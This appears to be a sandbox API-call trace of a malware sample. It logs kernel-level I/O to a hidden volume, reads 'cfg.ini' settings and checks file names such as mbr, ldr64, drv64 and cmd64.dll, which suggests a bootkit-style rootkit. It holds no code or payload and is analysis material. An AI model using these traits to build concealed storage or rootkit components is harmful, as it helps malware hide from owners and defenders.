[0125.941] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.941] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.941] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003abc590 [0125.941] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.941] KeLeaveCriticalRegion () [0125.941] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.941] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.941] KeEnterCriticalRegion () [0125.941] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.941] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.941] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.941] KeLeaveCriticalRegion () [0125.941] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.941] KeEnterCriticalRegion () [0125.941] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.941] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.941] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.941] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.941] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.941] IdePortDispatch () returned 0x103 [0125.941] KeWaitForMutexObject () returned 0x0 [0125.941] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.941] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.941] KeLeaveCriticalRegion () [0125.941] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.941] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.942] KeEnterCriticalRegion () [0125.942] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.942] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d25000 [0125.942] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.942] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.942] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.942] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.942] IdePortDispatch () returned 0x103 [0125.942] KeWaitForMutexObject () returned 0x0 [0125.942] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.942] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.942] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.942] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.942] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.942] IdePortDispatch () returned 0x103 [0125.942] KeWaitForMutexObject () returned 0x0 [0125.942] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.942] KeLeaveCriticalRegion () [0125.942] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.943] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.943] KeEnterCriticalRegion () [0125.943] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.943] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.943] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.943] KeLeaveCriticalRegion () [0125.943] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.943] KeEnterCriticalRegion () [0125.943] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.943] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.943] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037dc3a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.943] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.943] KeLeaveCriticalRegion () [0125.943] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.943] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.943] KeEnterCriticalRegion () [0125.943] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.943] ExFreePoolWithTag (P=0xfffffa8003abc590, Tag=0x0) [0125.943] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.943] KeLeaveCriticalRegion () [0125.943] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.943] ReleaseMutex (hMutex=0xf0) returned 1 [0125.943] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.943] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.943] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.943] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.943] KeEnterCriticalRegion () [0125.943] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.943] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.943] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.943] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.943] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.943] IdePortDispatch () returned 0x103 [0125.943] KeWaitForMutexObject () returned 0x0 [0125.944] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.944] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.944] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.944] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.944] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.944] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.944] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.944] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.944] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.944] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.944] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.944] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.944] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.944] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.944] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.944] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.944] KeLeaveCriticalRegion () [0125.944] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.944] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.944] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.944] KeEnterCriticalRegion () [0125.944] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.944] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.944] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.944] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.944] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.944] IdePortDispatch () returned 0x103 [0125.944] KeWaitForMutexObject () returned 0x0 [0125.944] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.944] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.944] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.944] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.944] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.944] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.945] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.945] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.945] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.945] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.945] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.945] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.945] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.945] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.945] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.945] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.945] KeLeaveCriticalRegion () [0125.945] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.945] ReleaseMutex (hMutex=0x100) returned 1 [0125.945] Sleep (dwMilliseconds=0x2bf20) [0125.950] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e453590, dwHighDateTime=0x1d24fa4)) [0125.950] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.950] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.953] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.953] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.953] KeEnterCriticalRegion () [0125.953] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.953] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.953] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.953] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.953] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.953] IdePortDispatch () returned 0x103 [0125.954] KeWaitForMutexObject () returned 0x0 [0125.954] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.954] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.954] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.954] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.954] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.954] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003abc180 [0125.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.954] KeLeaveCriticalRegion () [0125.954] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.954] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.954] KeEnterCriticalRegion () [0125.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.954] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.954] KeLeaveCriticalRegion () [0125.954] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.954] KeEnterCriticalRegion () [0125.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.954] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.954] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.954] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.954] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.954] IdePortDispatch () returned 0x103 [0125.954] KeWaitForMutexObject () returned 0x0 [0125.954] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.954] KeLeaveCriticalRegion () [0125.954] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.955] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.955] KeEnterCriticalRegion () [0125.955] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.955] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d78000 [0125.955] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.955] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.955] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.955] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.955] IdePortDispatch () returned 0x103 [0125.955] KeWaitForMutexObject () returned 0x0 [0125.955] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.955] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.955] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.955] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.955] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.955] IdePortDispatch () returned 0x103 [0125.955] KeWaitForMutexObject () returned 0x0 [0125.955] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.955] KeLeaveCriticalRegion () [0125.955] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.956] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.956] KeEnterCriticalRegion () [0125.956] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.956] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.956] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.956] KeLeaveCriticalRegion () [0125.956] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.956] KeEnterCriticalRegion () [0125.956] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.956] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.956] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac65e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.956] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.956] KeLeaveCriticalRegion () [0125.956] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.956] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.956] KeEnterCriticalRegion () [0125.956] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.956] ExFreePoolWithTag (P=0xfffffa8003abc180, Tag=0x0) [0125.956] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.956] KeLeaveCriticalRegion () [0125.956] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.956] ReleaseMutex (hMutex=0xf0) returned 1 [0125.956] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.959] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.959] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.959] KeEnterCriticalRegion () [0125.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.959] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.959] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.959] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.959] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.959] IdePortDispatch () returned 0x103 [0125.960] KeWaitForMutexObject () returned 0x0 [0125.960] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.960] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.960] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.960] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.960] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.960] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003713810 [0125.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.960] KeLeaveCriticalRegion () [0125.960] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.960] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.960] KeEnterCriticalRegion () [0125.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.960] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.960] KeLeaveCriticalRegion () [0125.960] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.960] KeEnterCriticalRegion () [0125.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.960] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.960] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.960] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.960] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.960] IdePortDispatch () returned 0x103 [0125.960] KeWaitForMutexObject () returned 0x0 [0125.960] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.960] KeLeaveCriticalRegion () [0125.960] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.961] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.961] KeEnterCriticalRegion () [0125.961] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.961] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d7a000 [0125.961] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.961] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.961] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.961] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.961] IdePortDispatch () returned 0x103 [0125.961] KeWaitForMutexObject () returned 0x0 [0125.961] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.961] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.961] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.961] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.961] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.961] IdePortDispatch () returned 0x103 [0125.961] KeWaitForMutexObject () returned 0x0 [0125.961] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.961] KeLeaveCriticalRegion () [0125.961] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.962] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.962] KeEnterCriticalRegion () [0125.962] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) 